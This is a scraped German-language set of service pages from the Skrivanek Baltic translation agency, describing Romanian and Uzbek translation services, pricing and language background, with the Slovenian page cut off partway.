Lokalisierungen und Adaptionen in die und aus der rumänischen Sprache ist ein fester Bestandteil unserer Kundenverträge. Die professionellen Projektmanager unseres Büros erstellen stets vor Beginn eines jeden Übersetzungsprojekts eine detaillierte Preisliste vor. Der Preis für jeden Auftrag wird gemäß der aktuellen Skrivanek-Preisliste festgelegt, wobei die Anzahl der Wörter im Originaltext, die Wiederholungen im Text und andere Parameter berücksichtigt werden. Um den genauen Preis zu erfahren, setzen Sie sich mit uns in Verbindung oder schicken Sie uns das zu übersetzende Material. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Rumänische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere rumänischen Sprachdienstleistungen umfassen: Dokumentenübersetzung Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Rumänisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE RUMÄNISCHE SPRACHE Rumänisch gehört zur indogermanischen Sprachfamilie und gruppiert sich in eine der balkanromanischen Sprachen, einer Untergruppe der romanischen Sprachen. Nach Spanisch, Portugiesisch, Französisch und Italienisch ist Rumänisch die fünftgrößte romanische Sprache. Aufgrund der typologischen Unterschiede, die in der vergleichenden Sprachwissenschaft festgestellt wurden, wird Rumänisch auch als dakoromanische Sprache betrachtet. Sie ist Amtssprache in Rumänien (wo sie von den meisten Bürgern als Muttersprache und Hauptsprache gesprochen wird) und in der Republik Moldau (gemäß dem Beschluss des Verfassungsgerichts). Gleichzeitig unterscheidet sich Rumänisch am stärksten von den anderen romanischen Sprachen, da es die Merkmale einer so genannten Mischsprache (Kontaktsprache) aufweist, die sich in verschiedenen Bereichen der Linguistik, insbesondere auf dem Balkan, entwickelt hat. Im Römischen Reich hießen die heutigen Gebiete von Moldau und Rumänien „Dacia Romana“. Über 30 Jahre waren Daker und Römer direkte Nachbarn und beeinflussten sich gegenseitig. In dieser Zeit wurden auch die Einheimischen romanisiert und es war ganz natürlich, dass sich daraus das Rumänische auf der Grundlage des Römischen entwickelte, jedoch nicht ohne den Einfluss der slawischen Sprachen. Rumänisch entwickelte sich zu einer Zeit, in der Latein weit verbreitet war. Die ersten Schriften der Rumänischen Sprache konnte man bis ins 16. Jahrhundert zurückführen. Das älteste erhaltene Dokument in rumänischer Sprache ist der Brief von Neacșu (1521) in kyrillischer Schrift. Die kyrillische Schrift wurde bis zur Einführung der offiziellen rumänischen lateinischen Rechtschreibung im Jahr 1860 verwendet. Sprachexperten sind sich einig, dass das Rumänische und Moldauische im Grunde identisch sind. Im Rumänischen gibt es nur ein paar weitere Lehnwörter aus westlichen Ländern, während die wichtigsten Lehnwörter im Moldauischen aus dem Russischen stammen. Die romanischen Sprachvarianten unterscheiden sich vor allem in phonetischer Hinsicht. Die Rumänen nennen sie Dialekte oder Spracheigenschaften. DAS RUMÄNISCHE ALPHABET Das romanisch-lateinische Alphabet wird in Rumänien seit 1860 offiziell verwendet, als es das walachisch-moldauische kyrillische Alphabet ablöste. Das heutige Alphabet besteht aus 31 Buchstaben, mit 46 Phonemen (7 Vokale, 4 Halbvokale und 35 Konsonanten) verwendet werden. Das erste rumänische Grammatikbuch wurde 1780 in Wien veröffentlicht. Nach der Umstellung auf das lateinische Alphabet wurden 1904, 1953 und 1993 Rechtschreibreformen durchgeführt, kleinere Reformen erfolgten 1964 und 2005. WIE SCHWER IST RUMÄNISCH? Rumänisch gilt als eine der am leichtesten zu erlernenden Sprachen. Es ist dem Spanischen, Italienischen und sogar dem Englischen ähnlich. Obwohl sie einige grammatikalische Besonderheiten aufweist, die in keiner anderen lateinischen Sprache zu finden sind, ist sie in der Regel leichter zu lernen als Russisch, Chinesisch oder Arabisch. Dank des Internets haben Rumänischlernende zahlreiche Lernquellen. Leider sind die Ressourcen noch nicht vollständig ausgebaut, dies ändert sich jedoch langsam. Rumänisch ist sehr klangvoll, leicht zu lesen und sprechen. Alle Wörter werden so ausgesprochen, wie sie geschrieben werden. WO UND WIE VIELE MENSCHEN SPRECHEN RUMÄNISCH? Rumänisch ist die Muttersprache von rund 24 Millionen Menschen. In der Republik Moldau wird diese Sprache offiziell als Moldauisch bezeichnet. Rumänisch ist die Amtssprache in Rumänien und der Republik Moldau und eine der Amtssprachen der Europäischen Union. Rumänisch wird hauptsächlich in Rumänien, der Republik Moldau, Ungarn, Serbien und der Ukraine gesprochen. Rumänischsprachige Menschen leben auch in Frankreich, Italien, Spanien, dem Vereinigten Königreich, Österreich, Belgien, Portugal, Zypern, Kanada (vor allem in Montreal), dem Norden der USA (insbesondere Chicago), Deutschland, Israel, Australien und Neuseeland, wo sich rumänische Gemeinschaften aus politischen Gründen niedergelassen haben, als Rumänen vor dem Zweiten Weltkrieg aus Bukarest auswanderten. Eine neue Auswanderungswelle begann mit dem Sturz des Ceausescu-Regimes. Menschen aus ländlichen Gebieten zogen nach Italien, Spanien, Portugal, Quebec und Argentinien, insbesondere nach dem Beitritt Rumäniens zur Europäischen Union im Jahr 2007. Die Zahl der rumänischsprachigen Bevölkerung erreichte um 1990 ihren Höhepunkt. Seitdem ist die Zahl mit dem natürlichen Rückgang der Rumänen und Moldauer, ihrer Auswanderung ins Ausland und der teilweisen Akkulturation der außerhalb Rumäniens und der Republik Moldaus lebenden Menschen zurückgegangen. Gegenwärtig gibt es etwa 19 Millionen rumänischsprachige Menschen in Rumänien (75% der Gesamtsprecher) und etwa 2,6 Millionen in der Republik Moldau. Laut der Volkszählung von 2002 ist Rumänisch die Muttersprache von 90% der rumänischen Bevölkerung. DOLMETSCHER UND ÜBERSETZER FÜR DIE RUMÄNISCHE SPRACHE Unser Team von Dolmetschern und Übersetzern der rumänischen Sprache arbeitet sowohl mit schriftlichen Standardübersetzungen als auch mit notariell beglaubigten Übersetzungen. Das Übersetzungsbüro Skrivanek sorgt auch für das Lektorat und die stilistische Korrektur der rumänischen Texte sowie bei Bedarf für die redaktionelle und terminologische Überprüfung. Unsere rumänischen Sprachspezialisten informieren Sie gerne die über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Das Übersetzungsbüro Skrivanek bietet Übersetzungen von E-Commerce und Websites, Werbeslogans, Marketing und Rechtstexten aus dem und ins Rumänische an. Aufgrund der sich entwickelnden Wirtschaftsbeziehungen zwischen Lettland und Rumänien bieten wir auch Übersetzungen in den Bereichen Ausrüstung und Technik, Finanzen, Medizin, Kommunikation, Öffentlichkeitsarbeit, Verkehr, Computer und Software, Wissenschaft, Landwirtschaft, Fahrzeuge, Dokumente der Europäischen Union, Industrie, Naturwissenschaften, Einzelhandel und Technik an. Für natürliche Personen bieten wir die Übersetzung von Ausweisdokumenten, Heiratsurkunden, Geburtsurkunden, Bildungsdokumenten, Reisepässen, medizinischen Dokumenten und anderen Dokumenten an. RUMÄNISCH IN DER GESCHÄFTSWELT Rumänisch als Geschäftssprache wird hauptsächlich nur in Rumänien und der Republik Moldau gesprochen. Dennoch kommt es sehr gut an, zumindest einige Sätze auf rumänisch zu können, wenn man neue Geschäftsbeziehungen mit rumänischen Geschäftsleuten aufbauen möchte. Rumänische Geschäftsleute benutzen in der Regel Italienisch, Deutsch und Englisch, um Geschäftsbeziehungen aufzubauen. Die wichtigsten Partner sind EU-Länder, in die Rumänien Autoteile und Getreideprodukte exportiert. Lettland importiert aus Rumänien vor allem Produkte der Lebensmittelindustrie (41,90%), Kraftfahrzeuge und Mechanismen, elektrische Ausrüstungen (29,53%), Chemieindustrie und damit verbundene Produkte (9,84%). ZUSAMMENARBEIT ZWISCHEN RUMÄNIEN UND LETTLAND Am 5. Juli 2022 wurde das rumänische Honorarkonsulat in Riga eröffnet, das von Ileana Adriana Rutman, der rumänischen Honorarkonsulin in Lettland, geleitet wird. Ziel des Konsulats ist es, die politischen, wirtschaftlichen und kulturellen Beziehungen zwischen Rumänien und Lettland zu stärken, rumänischen Bürgern in Lettland zu helfen und lettische Bürger zu informieren, die Rumänien kennen lernen, besuchen oder ein Unternehmen in Rumänien gründen möchten. Die lettische Kunstakademie kooperiert im Rahmen des Programms Erasmus+ Lebenslanges Lernen mit zwei rumänischen Universitäten, der Babeș-Bolyai-Universität in Cluj-Napoca und der Nationalen Kunstuniversität Bukarest. Die lettische Kulturakademie arbeitet mit Rumänien im Rahmen des Erasmus+ Programms zusammen. Die Akademie hat ein Austauschabkommen mit der Alexandru-Ioan-Cuza-Universität. Auch in der Literatur gibt es eine enge Zusammenarbeit - das Internationale Schriftsteller- und Übersetzerhaus in Ventspils arbeitet mit dem Port Cultural Cetate zusammen, das gerne Einwohner aus Lettland aufnimmt. Außerdem lebten die Autoren Liana Langa und Peteris Cedrins dort. Das Neue Rigaer Theater hat im Juni 2017 im Rahmen des Internationalen Theaterfestivals von Sibiu ein Stück mit dem Titel Brodskis/ Barishnikovs(Brodskis/ Barišņikovs) aufgeführt. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/ INS RUMÄNISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Rumänisch; Rumänisch nach Lettisch; Estnisch nach Rumänisch; Rumänisch nach Estnisch; Litauisch nach Rumänisch; Rumänisch nach Litauisch; Englisch nach Rumänisch; Rumänisch nach Englisch; Russisch nach Rumänisch; Rumänisch nach Russisch; Tschechisch nach Rumänisch; Rumänisch nach Tschechisch; Polnisch nach Rumänisch; Rumänisch nach Polnisch; Ukrainisch nach Rumänisch; Rumänisch nach Ukrainisch; Rumänisch nach Spanisch; Spanisch nach Rumänisch; Deutsch nach Rumänisch; Rumänisch nach Deutsch; Italienisch nach Rumänisch; Rumänisch nach Italienisch; Französisch nach Rumänisch; Rumänisch nach Französisch; Dänisch nach Rumänisch; Rumänisch nach Dänisch; Norwegisch nach Rumänisch; Rumänisch nach Norwegisch; Schwedisch nach Rumänisch; Rumänisch nach Schwedisch; Finnisch nach Rumänisch; Rumänisch nach Finnisch und andere. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/ INS RUMÄNISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Rumänisch; Rumänisch nach Lettisch; Estnisch nach Rumänisch; Rumänisch nach Estnisch; Litauisch nach Rumänisch; Rumänisch nach Litauisch; Englisch nach Rumänisch; Rumänisch nach Englisch; Russisch nach Rumänisch; Rumänisch nach Russisch; Tschechisch nach Rumänisch; Rumänisch nach Tschechisch; Polnisch nach Rumänisch; Rumänisch nach Polnisch; Ukrainisch nach Rumänisch; Rumänisch nach Ukrainisch; Rumänisch nach Spanisch; Spanisch nach Rumänisch; Deutsch nach Rumänisch; Rumänisch nach Deutsch; Italienisch nach Rumänisch; Rumänisch nach Italienisch; Französisch nach Rumänisch; Rumänisch nach Französisch; Dänisch nach Rumänisch; Rumänisch nach Dänisch; Norwegisch nach Rumänisch; Rumänisch nach Norwegisch; Schwedisch nach Rumänisch; Rumänisch nach Schwedisch; Finnisch nach Rumänisch; Rumänisch nach Finnisch und andere. --- > Allgemeine und fachspezifische Übersetzungen in usbekischer Sprache, Dolmetschen, Lokalisierung und andere usbekische Sprachdienstleistungen. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-uzbeku-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS USBEKISCHE WAS KOSTET EINE ÜBERSETZUNG INS USBEKISCHE? Der Preis für Übersetzungen aus dem und ins Usbekische wird für jeden Auftrag individuell festgelegt. Der Preis setzt sich aus mehreren Faktoren gemäß der aktuellen Preisliste des Übersetzungsbüros Skrivanek zusammen. Der Preis richtet sich nach dem Umfang des zu übersetzenden Materials, der Abgabefristen, den Besonderheiten des Textinhalts, der Wiederholung des Textes in der Übersetzung, der grafischen Bearbeitung, der Textformatierung, dem Korrekturlesen sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE FÜR ÜBERSETZUNGEN? Ja, die Preisliste für Übersetzungen, Dolmetschen, Lokalisierungen und Adaptionen aus dem und ins Usbekische ist ein fester Bestandteil unserer Kundenverträge. Die Projektmanager von Skrivanek erstellen vor Beginn eines jeden Übersetzungsprojekts eine genaue Preisliste. Der Preis für jeden Auftrag wird individuell nach der aktuellen Preisliste von Skrivanek festgelegt und richtet sich nach der Anzahl der Wörter im Ausgangstext, der Duplizierung in der Übersetzung und anderen Parametern. Wir freuen uns darauf, Ihr übersetztes Material per E-Mail zu erhalten, um Ihnen ein Angebot zu unterbreiten. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Usbekische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in usbekischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung ins Usbekische? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE USBEKISCHE SPRACHE UND USBEKISTAN Es gab eine Zeit, in der Usbekistan als Zentrum der Welt angesehen wurde. Seidenstraßen führten nach Samarkand, Buchara und Kokand. Karawanen von Kamelen zogen zu diesen magischen Städten und brachten großen Reichtum und Gold mit. Tausende von Kulturen haben sich in Usbekistan entwickelt und die Geschichte hat ihre Spuren in der Kultur, Sprache, Architektur, Tradition und Kunst des Landes hinterlassen. Deshalb ist Usbekistan zweifellos das schönste und spektakulärste Land Zentralasiens. Usbekisch (Oʻzbek tili) ist eine Turksprache aus der Familie der altaischen Sprachen. Sie ist die einzige Amtssprache Usbekistans. Viele Menschen im Osten Turkmenistans, im Süden Kasachstans, im Norden und Westen Tadschikistans, im Norden Afghanistans, in Pakistan und in China sprechen ebenfalls diese Sprache. Usbekisch ist auch eine der Amts- und Arbeitssprachen der Organisation der Turkstaaten. Usbekisch wurde vom Russischen und Tadschikischen beeinflusst. Es gibt auch einen indirekten Einfluss des Arabischen. Im Usbekischen gibt es zwei Hauptdialekte: Südusbekisch und Nordusbekisch (der kiptschak-usbekische Dialekt ist eher ein kasachischer Dialekt). Usbekisch hat keine offizielle Sprachkommission. In Usbekistan werden die Medien staatlich kontrolliert und es gibt keine Pressefreiheit. Die usbekische Küche ist sehr vielseitig und vereint die Aromen und Traditionen der Länder, deren Handelswege seit Jahrhunderten durch Usbekistan führen. Plov ist das Nationalgericht von Usbekistan. Interessanterweise wurde es von den Köchen von Alexander dem Großen erfunden! Nur zwischen Männern gibt man sich die Hand. Eine usbekische Frau verbeugt sich zur Begrüßung und hält ihre rechte Hand auf die Brust. Charakteristisch für das usbekische Kunsthandwerk sind bemalte Keramiken und bunte, ornamentale Stickereien. Feine Stickereien mit Goldfäden werden in der Provinz Buchara noch immer praktiziert. Die drei Metrostationen von Taschkent haben Marmordecken und -säulen, Goldgravuren und wunderschöne Kronleuchter. Sie gehören nicht nur zu den schönsten Bahnhöfen der Welt, sondern sind auch das größte Eisenbahnsystem in Zentralasien. DAS USBEKISCHE ALPHABET Im Laufe seiner Geschichte wurde Usbekisch in mehreren Alphabeten geschrieben. Mit der arabischen Invasion Usbekistans im achten Jahrhundert traten nomadische Turkstämme zum Islam über. Daher wurde Usbekisch jahrhundertelang mit dem persisch-arabischen Alphabet geschrieben, bevor die Sowjetunion es in den späten 1920er Jahren durch das lateinische Alphabet ersetzte. Die Dialekte der großen Städte Taschkent und Fergana wurden dann als usbekische Standardsprache verwendet. Mit der Russifizierung in den frühen 1940er Jahren wurde das lateinische Alphabet abgeschafft und die kyrillische Schrift nahm dessen Platz ein. Mit dem Fall der Sowjetunion 1993 wurde das lateinische Alphabet wieder eingeführt, um den Handel zu erleichtern und die Beziehungen zum Ausland zu verbessern, und von der usbekischen Regierung zum offiziellen Alphabet erklärt. Usbekisch ist eine der wenigen zentralasiatischen Sprachen, die das lateinische Alphabet verwenden. Im Jahr 2018 wurde ein weiterer Entwurf für eine Alphabetisierungsreform veröffentlicht. Sie schlug vor, die Digraphen Ch, Sh, Gʻ, Oʻ durch oç, ş ş, Ğ ğ bzw. Ŏ ŏ zu ersetzen. Ein weiterer Reformentwurf wurde 2019 veröffentlicht. Das letzte Sprachreformprojekt fand 2021 statt, als die usbekische Regierung den vollständigen Wechsel vom kyrillischen zum lateinischen Alphabet ankündigte. Trotz des offiziellen Status der lateinischen Schrift in Usbekistan ist die Verwendung der kyrillischen Schrift nach wie vor weit verbreitet, insbesondere in der Werbung und auf Schildern. Zeitungen können gemischte Artikel mit Überschriften in Latein und Artikeln in Kyrillisch enthalten. Die arabische Schrift wird in Usbekistan nicht mehr verwendet, außer symbolisch in begrenzten Texten oder in Chagatai (der alten usbekischen Sprache) in akademischen Studien. Das lateinische usbekische Alphabet: А а, B b, D d, Е е, F f, G g, H h, I i, J j, K k, L l, М m, N n, О о, P p, Q q, R r, S s, Т t, U u, V v, X x, Y y, Z z, Oʻ oʻ, Gʻ gʻ, Sh sh, Ch ch, Ng ngʼ. Das kyrillische usbekische Alphabet: А а, Б б, В в, Г г, Д д, Е е, Ё ё, Ж ж, З з, И и, Й й, К к, Л л, М м, Н н, О о, П п, Р р, С с, Т т, У у, Ф ф, Х х, Ц ц, Ч ч, Ш ш, Ъ ъ, Ь ь, Э э, Ю ю, Я я, Ў ў, Қ қ. WIE SCHWER IST USBEKISCH? Usbekisch wird als Sprache der Kategorie 2 eingestuft, was den Schwierigkeitsgrad des Lernens betrifft. Sie gehört zu den Sprachen, die sich sprachlich und kulturell deutlich von den am meisten verbreiteten Sprachen der Welt unterscheiden. Um Usbekisch fließend sprechen zu können, sind mindestens 44 Wochen oder 1100 Unterrichtsstunden erforderlich. Für Schüler, deren Muttersprache Türkisch ist, wird das Erlernen von Usbekisch weniger Zeit in Anspruch nehmen. WO UND WIE VIELE MENSCHEN SPRECHEN USBEKISCH? Usbekisch wird von etwa 44 Millionen Menschen gesprochen, davon 34 Millionen als Muttersprache in Usbekistan, etwa 7 Millionen in Afghanistan, 1,6 Millionen in Pakistan und etwa 5 Millionen im übrigen Zentralasien, womit es nach Türkisch die am zweithäufigsten gesprochene Turksprache ist. USBEKISCHE ÜBERSETZER UND DOLMETSCHER Skrivanek Baltic bietet professionelle Dolmetscherdienste auf Usbekisch sowie schriftliche und notariell beglaubigte Übersetzungen ins und aus dem Usbekischen an. Die Übersetzungen werden von Übersetzern angefertigt, die über langjährige Erfahrung in ihrem Fachgebiet und über Fachkenntnisse in dem Bereich verfügen, in dem der Originaltext zu übersetzen ist. Unsere Erfahrung garantiert, dass die Übersetzung mit dem Originaltext übereinstimmt und dass die enthaltenen Informationen verständlich sind. Unsere usbekischen Lektoren und Redakteure kümmern sich um die stilistische Verbesserung und das Korrekturlesen des Textes. Sowohl für juristische als auch für private Kunden bieten wir Gerichtsdolmetschen sowie geschäftliches Dolmetschen in und aus Usbekisch an. Derzeit bieten wir auch Simultandolmetschen auf Zoom und anderen Online-Plattformen an - dies kann von Geschäftsgesprächen bis hin zu Geschäftstreffen reichen. Gerne dolmetschen wir auch auf Konferenzen. Wir übersetzen technische Unterlagen, Websites, Verträge und E-Commerce-Inhalte vom und ins Usbekische. Wir finden für jedes Bedürfnis unserer Kunden die passende Dienstleistung sowie den passenden Sprachspezialisten. Für Privatpersonen bieten wir notariell beglaubigte Übersetzungen von Ausweispapieren, Heiratsurkunden, Bildungsdokumenten und anderen zivilrechtlichen Dokumenten vom und ins Usbekische an. USBEKISCH IN DER GESCHÄFTSWELT Usbekistan hat eine vielfältige und lange Geschichte. Einst Teil des alten persischen Reiches, von Dschingis Khan erobert und von der Roten Armee unterdrückt, ist Usbekistan heute mit geschätzten 34,23 Millionen Einwohnern das bevölkerungsreichste postsowjetische Land in Zentralasien. Usbekistan spielt eine immer wichtigere Rolle in der Weltwirtschaft, insbesondere bei Gas, Baumwolle, Öl, Kohle und wichtigen Mineralien. Usbekistan ist sogar der zweitgrößte Baumwollexporteur der Welt. Wie in den Nachbarländern Kasachstan und Kirgisistan wird auch in Usbekistan aufgrund der sowjetischen Besatzung noch weitgehend Russisch gesprochen. Usbekisch ist heute die Amtssprache Usbekistans und eine wichtige Sprache der Turksprachen, die von der Mehrheit der ethnischen Usbeken im Land gesprochen wird. Obwohl viele Usbeken sowohl Usbekisch als auch Russisch sprechen, ist Russisch in Wissenschaft, Handel und Wirtschaft dominanter. In den Schulen werden beide Sprachen gelehrt, einige mit Schwerpunkt Usbekisch, andere mit Schwerpunkt Russisch. Als Geschäftssprache wird Usbekisch praktisch nur in Usbekistan verwendet. Zu Hause ist es die Mutter- und Alltagssprache der Usbeken, am Arbeitsplatz wird oft noch auf Russisch kommuniziert. Russisch und Englisch werden für die geschäftliche Kommunikation mit Geschäftspartnern aus anderen Ländern verwendet. LETTLAND UND USBEKISTAN Usbekistan ist einer der wichtigsten Kooperationspartner Lettlands in Zentralasien. Die diplomatischen Beziehungen zwischen Lettland und Usbekistan wurden am 3. November 1992 aufgenommen. Die Botschaft der Republik Usbekistan in Lettland befindet sich in Riga. Usbekistan ist der größte Handelspartner Lettlands in Zentralasien. Die beiden Länder kooperieren in den Bereichen Handel, Landwirtschaft, Forstwirtschaft, grüne Technologien und IT. Weil man eine Verbindung zwischen Europa und Asien aufbauen möchte, ist die Zusammenarbeit in der Logisitk für beide Länder von großer Bedeutung. Auch im Bereich der Bildung wird erfolgreich zusammengearbeitet. Die lettischen Universitäten bieten usbekischen Studenten die Möglichkeit, auf EU-Ebene zu studieren. Usbekistan steht an zweiter Stelle an Auslandsstudenten an lettischen Universitäten, den ersten Platz belegen hier Studenten aus Indien. Die beliebtesten Studienfächer sind Logistik, Bank- und Finanzwesen, technische Wissenschaften und Medizin. Usbekische Studenten erhalten Stipendien der lettischen Regierung und können an Sommerschulen teilnehmen, die von Bildungseinrichtungen organisiert werden. Im Jahr 2020 studierten 1. 329 usbekische Studenten in Lettland, die zweitgrößte Gruppe unter allen ausländischen Studenten in Lettland. Auch Studierende und Forscher aus Usbekistan erhalten jedes Jahr Stipendien der lettischen Regierung. So wurden im akademischen Jahr 2021/22 sechs Stipendien für Studien und zwei Stipendien für Forschung an lettischen Universitäten und Forschungseinrichtungen sowie zehn Stipendien für die Teilnahme an internationalen Sommerschulen vergeben. Usbekische Kollegen nehmen aktiv an Veranstaltungen teil, die vom lettischen Ministerium für Bildung und Wissenschaft organisiert werden, um den Austausch bewährter Verfahren in den Bereichen Bildungsreformen, Digitalisierung, Entwicklung von Jugendkompetenzen und Überwachung der Bildungsqualität zu fördern. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM UND INS USBEKISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Usbekisch; Usbekisch nach Lettisch; Estnisch nach Usbekisch; Usbekisch nach Estnisch; Litauisch nach Usbekisch; Usbekisch nach Litauisch; Russisch nach Usbekisch; Usbekisch nach Russisch; Tschechisch nach Usbekisch; Usbekisch nach Tschechisch; Polnisch nach Usbekisch; Usbekisch nach Polnisch; Ukrainisch nach Usbekisch; Usbekisch nach Ukrainisch; Usbekisch nach Spanisch; Spanisch nach Usbekisch; Deutsch nach Usbekisch; Usbekisch nach Deutsch; Italienisch nach Usbekisch; Usbekisch nach Italienisch; Französisch nach Usbekisch; Usbekisch nach Französisch; Dänisch nach Usbekisch; Usbekisch nach Dänisch; Norwegisch nach Usbekisch; Usbekisch nach Norwegisch; Schwedisch nach Usbekisch; Usbekisch nach Schwedisch; Finnisch nach Usbekisch; Usbekisch nach Finnisch, Englisch nach Usbekisch; Usbekisch nach Englisch und andere. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM UND INS USBEKISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Usbekisch; Usbekisch nach Lettisch; Estnisch nach Usbekisch; Usbekisch nach Estnisch; Litauisch nach Usbekisch; Usbekisch nach Litauisch; Russisch nach Usbekisch; Usbekisch nach Russisch; Tschechisch nach Usbekisch; Usbekisch nach Tschechisch; Polnisch nach Usbekisch; Usbekisch nach Polnisch; Ukrainisch nach Usbekisch; Usbekisch nach Ukrainisch; Usbekisch nach Spanisch; Spanisch nach Usbekisch; Deutsch nach Usbekisch; Usbekisch nach Deutsch; Italienisch nach Usbekisch; Usbekisch nach Italienisch; Französisch nach Usbekisch; Usbekisch nach Französisch; Dänisch nach Usbekisch; Usbekisch nach Dänisch; Norwegisch nach Usbekisch; Usbekisch nach Norwegisch; Schwedisch nach Usbekisch; Usbekisch nach Schwedisch; Finnisch nach Usbekisch; Usbekisch nach Finnisch, Englisch nach Usbekisch; Usbekisch nach Englisch und andere. --- > Allgemeine und fachspezifische Übersetzungen, Dolmetschen, Lokalisierung und andere Sprachdienstleistungen für Slowenisch. Erhalten Sie ein unverbindliches und kostenloses Angebot! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovenu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS SLOWENISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS SLOWENISCHE? Bei der Berechnung des Preises für die Übersetzung aus der bzw. in die slowenische Sprache werden mehrere Komponenten berücksichtigt: die Menge des zu übersetzenden Materials, das Format, die Abgabefristen, die Besonderheit des Textinhalts, die Wiederholung des Textes in der Übersetzung, die grafische 